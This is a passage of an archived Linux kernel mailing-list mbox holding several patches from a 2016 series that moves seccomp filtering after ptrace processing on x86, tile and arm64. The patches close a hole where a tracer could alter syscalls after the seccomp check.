-	if (syscall_get_nr(current, regs) < 0)
-		return -1;  /* Explicit request to skip. */
-
-	return 0;
-}
 #endif /* CONFIG_HAVE_ARCH_SECCOMP_FILTER */
 
 long prctl_get_seccomp(void)
-- 
2.7.4



From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 06/14] x86/ptrace: run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:01:56 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <1465506124-21866-7-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465506294 15584 80.91.229.3 (9 Jun 2016 21:04:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:04:54 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 Russell King <linux@armlinux.org.uk>, Paul Mackerras <paulus@samba.org>,
 Kees Cook <keescook@chromium.org>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 James Hogan <james.hogan@imgtec.com>, Chris Metcalf <cmetcalf@mellanox.com>,
 user-mode-linux-devel@lists.sourceforge.net, Will Deacon <will.deacon@arm.com>,
 Jeff Dike <jdike@addtoit.com>, Andy Lutomirski <luto@kernel.org>,
 linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
 Ralf Baechle <ralf@linux-mips.org>, Richard Weinberger <richard@nod.at>,
 Martin Schwidefsky
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jun 09 23:04:36 2016
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1bB77Y-0000lu-Lr
	for linux-arm-kernel@m.gmane.org; Thu, 09 Jun 2016 23:04:08 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1bB77E-0007Yp-0W; Thu, 09 Jun 2016 21:03:48 +0000
Original-Received: from mail-pf0-x232.google.com ([2607:f8b0:400e:c00::232])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1bB76G-0006h4-So
 for linux-arm-kernel@lists.infradead.org; Thu, 09 Jun 2016 21:02:51 +0000
Original-Received: by mail-pf0-x232.google.com with SMTP id y124so16392050pfy.0
 for <linux-arm-kernel@lists.infradead.org>;
 Thu, 09 Jun 2016 14:02:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=chromium.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=y/6NMxm1BS8HbXsCrULQOUaEIfzh75WRn8CKfb1whdA=;
 b=KiUZaW7grau7IPYrpg1Kgj2VQIUhyJ4ODLQoO+Zqud4Q5U3ZSE8pDAXuLZkaHMv8FS
 ldi0byTdWLx8V46uGNuftwunyU/NomG+OC0x/202HbOdhX1syw5K+nlBg0Z2mjtte7ij
 NZ98XXCiygPjPs5v3pFucJ/07FwTajAZ5wST4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20130820;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=y/6NMxm1BS8HbXsCrULQOUaEIfzh75WRn8CKfb1whdA=;
 b=FdGwJc9OPLnA7tiZ5iUMeQByaNu6Ssq6g/bAxorDEQXO7qj+2bdV7oN+UN1SXaTXmx
 JUCm+06f7trCDobs69AQ/K2kevNcONy9YIWBsCwMynBDATnv8pDtXT+bVdMqcDgFaNW9
 9/JdQDsVfv+N3Hha0zXfaIStXkm/t35x40deE3ou5xTBMd9++Dt2dYD5HiiGY+cVT4Yv
 l7bWK2LWYr5Wm01gz1Di9dfkrFBbKBuXDRvB9zwn8cfC12xi0z365XIZWC0hvkP6pZw7
 +1sDdWUCknnbULePTyEkIjApb+e8scr/YvjuhByhq8+cC6eQRBXG9PChLo9v6AMB8qoH
 3PLQ==
X-Gm-Message-State: ALyK8tJH0F3oW6PCDg0CI7mx/MjreGTZWjBh5Pqrw5lvzrIdyAawS5oTMKAOEf3KHX71N/cm
X-Received: by 10.98.65.209 with SMTP id g78mr6503581pfd.163.1465506148153;
 Thu, 09 Jun 2016 14:02:28 -0700 (PDT)
Original-Received: from www.outflux.net
 (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
 by smtp.gmail.com with ESMTPSA id 75sm12128831pfo.82.2016.06.09.14.02.26
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160609_140249_116517_771FB5AF 
X-CRM114-Status: GOOD (  13.08  )
X-Spam-Score: -2.7 (--)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-2.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [2607:f8b0:400e:c00:0:0:0:232 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:505744 gmane.linux.kernel:2240093 gmane.linux.ports.mips.general:55136 gmane.linux.kernel.cross-arch:32363 gmane.linux.uml.devel:15894 gmane.linux.ports.parisc:26865 gmane.linux.ports.ppc64.devel:128389
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/505744>

This moves seccomp after ptrace on x86 to that seccomp can catch changes
made by ptrace. Emulation should skip the rest of processing too.

We can get rid of test_thread_flag because there's no longer any
opportunity for seccomp to mess with ptrace state before invoking
ptrace.

Suggested-by: Andy Lutomirski <luto@kernel.org>
Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: x86@kernel.org
Cc: Andy Lutomirski <luto@kernel.org>
---
 arch/x86/entry/common.c | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index df56ca394877..81c0e12d831c 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -73,6 +73,7 @@ static long syscall_trace_enter(struct pt_regs *regs)
 
 	struct thread_info *ti = pt_regs_to_thread_info(regs);
 	unsigned long ret = 0;
+	bool emulated = false;
 	u32 work;
 
 	if (IS_ENABLED(CONFIG_DEBUG_ENTRY))
@@ -80,11 +81,19 @@ static long syscall_trace_enter(struct pt_regs *regs)
 
 	work = ACCESS_ONCE(ti->flags) & _TIF_WORK_SYSCALL_ENTRY;
 
+	if (unlikely(work & _TIF_SYSCALL_EMU))
+		emulated = true;
+
+	if ((emulated || (work & _TIF_SYSCALL_TRACE)) &&
+	    tracehook_report_syscall_entry(regs))
+		return -1L;
+
+	if (emulated)
+		return -1L;
+
 #ifdef CONFIG_SECCOMP
 	/*
-	 * Do seccomp first -- it should minimize exposure of other
-	 * code, and keeping seccomp fast is probably more valuable
-	 * than the rest of this.
+	 * Do seccomp after ptrace, to catch any tracer changes.
 	 */
 	if (work & _TIF_SECCOMP) {
 		struct seccomp_data sd;
@@ -117,13 +126,6 @@ static long syscall_trace_enter(struct pt_regs *regs)
 	}
 #endif
 
-	if (unlikely(work & _TIF_SYSCALL_EMU))
-		ret = -1L;
-
-	if ((ret || test_thread_flag(TIF_SYSCALL_TRACE)) &&
-	    tracehook_report_syscall_entry(regs))
-		ret = -1L;
-
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->orig_ax);
 
-- 
2.7.4

From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 13/14] tile/ptrace: run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:02:03 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <1465506124-21866-14-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465506296 15598 80.91.229.3 (9 Jun 2016 21:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:04:56 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 Russell King <linux@armlinux.org.uk>, Paul Mackerras <paulus@samba.org>,
 Chris Metcalf <cmetcalf@mellanox.com>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 James Hogan <james.hogan@imgtec.com>, Kees Cook <keescook@chromium.org>,
 user-mode-linux-devel@lists.sourceforge.net, Will Deacon <will.deacon@arm.com>,
 Jeff Dike <jdike@addtoit.com>, Andy Lutomirski <luto@kernel.org>,
 linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
 Ralf Baechle <ralf@linux-mips.org>, Richard Weinberger <richard@nod.at>,
 Martin Schwidefsky
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jun 09 23:04:47 2016
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1bB78A-0001GO-9p
	for linux-arm-kernel@m.gmane.org; Thu, 09 Jun 2016 23:04:46 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1bB77m-0008F5-Mo; Thu, 09 Jun 2016 21:04:22 +0000
Original-Received: from mail-pa0-x231.google.com ([2607:f8b0:400e:c03::231])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1bB76H-0006nx-8N
 for linux-arm-kernel@lists.infradead.org; Thu, 09 Jun 2016 21:02:52 +0000
Original-Received: by mail-pa0-x231.google.com with SMTP id ec8so16603495pac.0
 for <linux-arm-kernel@lists.infradead.org>;
 Thu, 09 Jun 2016 14:02:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=chromium.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=4r1QSdoOKATdKBhKmvfRrLqObzCzEVx+mLsTAXN2O9k=;
 b=jVBm+5hqIxE4rnonl8DARc5BaNXP8QsftcgPjCHLRTY6h7O5/hz6JwtFgY5IB7Huxi
 TKVbxk2mfT6zBctKhL3ItMt72kIRlQSTI602Nse7kli1RiBOfwrG9hee5Ji8XICHcjFM
 gshstdvZvBVGE/+7/InU2OZxJAEAoDWkiK2Ks=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20130820;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=4r1QSdoOKATdKBhKmvfRrLqObzCzEVx+mLsTAXN2O9k=;
 b=OFKpy4sWLWxksujRKKqscSCWR7HG7IOdCA+2Qe3ZWNRvqiwFSAonyZtaRW4wQOHps5
 lJQHdMbnNN21SdGDm2Wuk3moDqvp5t9f71LcMt4JVlpgBDewn41hrd9Zh62HPmtHWhDV
 eVY3UxYo7q/AJTeKw8v0qBcuSSuGzv4djSP45mbqVIAl607pZbNT45fC3DdeqHaOlzQy
 Uz+WZLGKZBb964RLnuLCrJiIs15HhHZjCmjXxMssHHhCV6y6wQI4n+GtxfPYmd9YsEKz
 oz8vDqZNHBQdNv0IKMf243sohtNeE2PLqMvS9zPvY789ESc1BtglkDtZL+GPbUCyJCZh
 Oazw==
X-Gm-Message-State: ALyK8tJp5wyOc5w5cE7c6vDAH96CPcZ0HueARDWei6H2k9DZ1hzXNHsDFXX480U4q68AhOYY
X-Received: by 10.66.89.228 with SMTP id br4mr14658561pab.110.1465506150859;
 Thu, 09 Jun 2016 14:02:30 -0700 (PDT)
Original-Received: from www.outflux.net
 (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
 by smtp.gmail.com with ESMTPSA id qc6sm12229225pac.6.2016.06.09.14.02.27
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 09 Jun 2016 14:02:29 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160609_140249_496066_65490018 
X-CRM114-Status: GOOD (  11.73  )
X-Spam-Score: -2.7 (--)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-2.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [2607:f8b0:400e:c03:0:0:0:231 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:505745 gmane.linux.kernel:2240094 gmane.linux.ports.mips.general:55137 gmane.linux.kernel.cross-arch:32364 gmane.linux.uml.devel:15895 gmane.linux.ports.parisc:26866 gmane.linux.ports.ppc64.devel:128390
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/505745>

Close the hole where ptrace can change a syscall out from under seccomp.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
---
 arch/tile/kernel/ptrace.c | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/arch/tile/kernel/ptrace.c b/arch/tile/kernel/ptrace.c
index 8c6d2f2fefa3..d89b7011667c 100644
--- a/arch/tile/kernel/ptrace.c
+++ b/arch/tile/kernel/ptrace.c
@@ -255,14 +255,15 @@ int do_syscall_trace_enter(struct pt_regs *regs)
 {
 	u32 work = ACCESS_ONCE(current_thread_info()->flags);
 
-	if (secure_computing(NULL) == -1)
+	if ((work & _TIF_SYSCALL_TRACE) &&
+	    tracehook_report_syscall_entry(regs)) {
+		regs->regs[TREG_SYSCALL_NR] = -1;
 		return -1;
-
-	if (work & _TIF_SYSCALL_TRACE) {
-		if (tracehook_report_syscall_entry(regs))
-			regs->regs[TREG_SYSCALL_NR] = -1;
 	}
 
+	if (secure_computing(NULL) == -1)
+		return -1;
+
 	if (work & _TIF_SYSCALL_TRACEPOINT)
 		trace_sys_enter(regs, regs->regs[TREG_SYSCALL_NR]);
 
-- 
2.7.4

From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 08/14] arm64/ptrace: run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:01:58 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <1465506124-21866-9-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465506297 15624 80.91.229.3 (9 Jun 2016 21:04:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:04:57 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 Russell King <linux@armlinux.org.uk>, Paul Mackerras <paulus@samba.org>,
 Chris Metcalf <cmetcalf@mellanox.com>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 James Hogan <james.hogan@imgtec.com>, Kees Cook <keescook@chromium.org>,
 user-mode-linux-devel@lists.sourceforge.net, Will Deacon <will.deacon@arm.com>,
 Jeff Dike <jdike@addtoit.com>, Andy Lutomirski <luto@kernel.org>,
 linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
 Ralf Baechle <ralf@linux-mips.org>, Richard Weinberger <richard@nod.at>,
 Martin Schwidefsky
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jun 09 23:04:46 2016
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1bB77m-0000yq-5u
	for linux-arm-kernel@m.gmane.org; Thu, 09 Jun 2016 23:04:22 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1bB77Q-0007ma-7w; Thu, 09 Jun 2016 21:04:00 +0000
Original-Received: from mail-pa0-x231.google.com ([2607:f8b0:400e:c03::231])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1bB76H-0006iz-8P
 for linux-arm-kernel@lists.infradead.org; Thu, 09 Jun 2016 21:02:51 +0000
Original-Received: by mail-pa0-x231.google.com with SMTP id b5so16518425pas.3
 for <linux-arm-kernel@lists.infradead.org>;
 Thu, 09 Jun 2016 14:02:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=chromium.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=Agt+T1/d29QO4JpwlHHaurvkgf9FYvFYMHxfUADfL1w=;
 b=TOieIH50V8TaKK8ZuBMDxMLwv+S1AggGqzfHhs77Ud3yMxkQOplGu57NXixe6WFVtF
 1NJ0dW/cxaCm5d22bXHtNSkRfVYIZbUtiy5KfOhFEv4QTJWInThQS8GHivTxMzeZtVHK
 m6PqCwj385USDVV2JRydE6l0vN+rJKEZzaCAM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20130820;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=Agt+T1/d29QO4JpwlHHaurvkgf9FYvFYMHxfUADfL1w=;
 b=Pk/Y2SFNPOmmy1qdUl9dLh6/UeGfgZ+HWeQa0WV2qXpQfzTE9Klpy++xga65vhmgbf
 NlFluDVHvRF+xDpNWlr+udA96OsxpmBzHPsI1IsVNcBbuMuvvx9JR2rQcKLxXpZLeqz8
 xs3gG2sT6NCo1hQZcjDcXkU3N8VVB7U7qxCznYG5UwiX+QSFyvUXLwH5xIpzUEAgDNEV
 cFv9CNX891OYw0pbbiZlWfPDKb/DmVjxZHQ3qX3l00kVV83KdcIRnDm8p78J04BuuO9t
 58E3xvKCBOpf7DYyx1f2c3lOS7FjQJeKvWB9ip6zvAD1zjgAb96lMU7Sp8EflxcV8xD7
 yKig==
X-Gm-Message-State: ALyK8tJwW4LtFbB5bUHswdE9q69z2WZB/G1ExxW8R1cwZGlmKQyu/p+pmJzSWN3serX2tX7C
X-Received: by 10.66.25.231 with SMTP id f7mr14574389pag.65.1465506148523;
 Thu, 09 Jun 2016 14:02:28 -0700 (PDT)
Original-Received: from www.outflux.net
 (173-164-112-133-Oregon.hfc.comcastbusiness.net. [173.164.112.133])
 by smtp.gmail.com with ESMTPSA id l129sm12265904pfc.5.2016.06.09.14.02.27
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 09 Jun 2016 14:02:27 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160609_140249_449431_8BD85050 
X-CRM114-Status: GOOD (  12.46  )
X-Spam-Score: -2.7 (--)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-2.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [2607:f8b0:400e:c03:0:0:0:231 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:505746 gmane.linux.kernel:2240095 gmane.linux.ports.mips.general:55138 gmane.linux.kernel.cross-arch:32365 gmane.linux.uml.devel:15896 gmane.linux.ports.parisc:26867 gmane.linux.ports.ppc64.devel:128391
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/505746>

Close the hole where ptrace can change a syscall out from under seccomp.

Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Mark Rutland <mark.rutland@arm.com>
Cc: linux-arm-kernel@lists.infradead.org
---
 arch/arm64/kernel/ptrace.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c
index 6e2cf046615d..602316c97a47 100644
--- a/arch/arm64/kernel/ptrace.c
+++ b/arch/arm64/kernel/ptrace.c
@@ -1246,13 +1246,13 @@ static void tracehook_report_syscall(struct pt_regs *regs,
 
 asmlinkage int syscall_trace_enter(struct pt_regs *regs)
 {
-	/* Do the secure computing check first; failures should be fast. */
-	if (secure_computing(NULL) == -1)
-		return -1;
-
 	if (test_thread_flag(TIF_SYSCALL_TRACE))
 		tracehook_report_syscall(regs, PTRACE_SYSCALL_ENTER);
 
+	/* Do the secure computing after ptrace; failures should be fast. */
+	if (secure_computing(NULL) == -1)
+		return -1;
+
 	if (test_thread_flag(TIF_SYSCALL_TRACEPOINT))
 		trace_sys_enter(regs, regs->syscallno);
 
-- 
2.7.4

From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: [PATCH 07/14] arm/ptrace: run seccomp after ptrace
Date: Thu,  9 Jun 2016 14:01:57 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <1465506124-21866-8-git-send-email-keescook@chromium.org>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465506310 16033 80.91.229.3 (9 Jun 2016 21:05:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 21:05:10 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>,
	Russell King <linux@armlinux.org.uk>,
	linux-arm-kernel@lists.infradead.org,
	Andy Lutomirski <luto@kernel.org>,
